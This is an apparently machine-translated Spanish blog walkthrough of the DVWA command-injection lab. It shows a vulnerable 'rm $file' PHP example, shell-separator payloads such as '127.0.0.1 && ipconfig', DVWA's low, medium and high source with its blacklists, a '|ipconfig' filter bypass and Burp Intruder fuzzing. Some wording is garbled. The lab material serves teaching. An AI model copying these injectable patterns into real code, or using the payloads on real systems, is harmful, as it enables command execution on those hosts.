Inyección de comando de la serie DVWA

Inyección de comandos de la serie DVWA
: Inyección de
comandos, que destruye la estructura de la instrucción de comandos mediante el envío de parámetros construidos con fines malintencionados para lograr el propósito de ejecutar comandos maliciosos. Por
ejemplo, para eliminar archivos, puede utilizar una solicitud de URL

http://127.0.0.1/delete.php?filename=bob.txt;id

el contenido de delete.php

<?php
$file=$_GET['filename']
system("rm $file");
?>

(Basado en el sistema Linux) Esto puede lograr el propósito de eliminar maliciosamente el archivo bob.txt y usarlo al mismo tiempo; el separador también se puede usar para generar el comando id al mismo tiempo.
Ahora use NVWA para el combate real.
Abra el nivel bajo e
ingrese 127.0.0.1 && ipconfig
la IP que estamos ingresando Agregue un separador && después de la dirección para devolver el contenido de retorno del comando ipconfig, es decir, después de ejecutar el ping 127.0.0.1, ejecutó los siguientes comandos: A
Inserte la descripción de la imagen aquícontinuación se muestran algunas inyecciones de uso común.

127.0.0.1 || ipconfig
127.0.0.1 & ipconfig
127.0.0.1 && ipconfig
127.0.0.1 | ipconfig
127.0.0.1 |ipconfig
127.0.0.1 ; ipconfig

Adecuado para sistemas Windows y Linux,
ahora veamos el código fuente
bajo

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

Es posible un nivel bajo sin ninguna inyección por encima de guolv (';' no es aplicable para las ventanas del sistema Linux)
Veamos el análisis del código fuente medio

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

entre ellos

 $substitutions = array(
        '&&' => '',
        ';'  => '',

Si la lista negra está configurada, && se asignará como vacía, por supuesto, podemos omitirla.
Use una inyección común para omitir lo anterior. Por ejemplo,
utilizo 127.0.0.1 | ipconfig
para omitir ping y ejecutar el comando malicioso ipconfig
Inserte la descripción de la imagen aquíhigh. El
mismo código fuente de análisis

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

Aquí hay más listas negras. La misma forma de omitir la inyección manual es demasiado problemática. Preparamos directamente
el diccionario con brupsuite .
Inserte la descripción de la imagen aquí
Simplemente ingrese 127.0.0.1 para abrir el proxy brupsuite e interceptar el
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquípaquete capturado y enviarlo al intruso
Inserte la descripción de la imagen aquípara borrar otros objetivos. Seleccione la ip add para agregar la
Inserte la descripción de la imagen aquíselección. El diccionario preparado acaba de empezar a atacar.
Inserte la descripción de la imagen aquíPuedes ver el efecto de retorno en Render. Se puede ver que en el nivel alto, solo 127.0.0.1 |ipconfigse puede omitir la lista negra (ten en cuenta que no hay espacio después del "|")
nivel imposible

Observe y analice el código fuente
Inserte la descripción de la imagen aquí.
Inserte la descripción de la imagen aquíEste código restringe la entrada a números puros
y no se puede inyectar.
Resumen:
método de prevención
1 Establecer lista negra
2 Reemplazo, palabra clave de escape
3 Para direcciones IP, los números se pueden dividir en matrices con '.' Como límite Determine si es un número para asegurarse de que no haya conector en la entrada para evitar inyección

Supongo que te gusta

Origin blog.csdn.net/weixin_49340699/article/details/109789187
Recomendado
Clasificación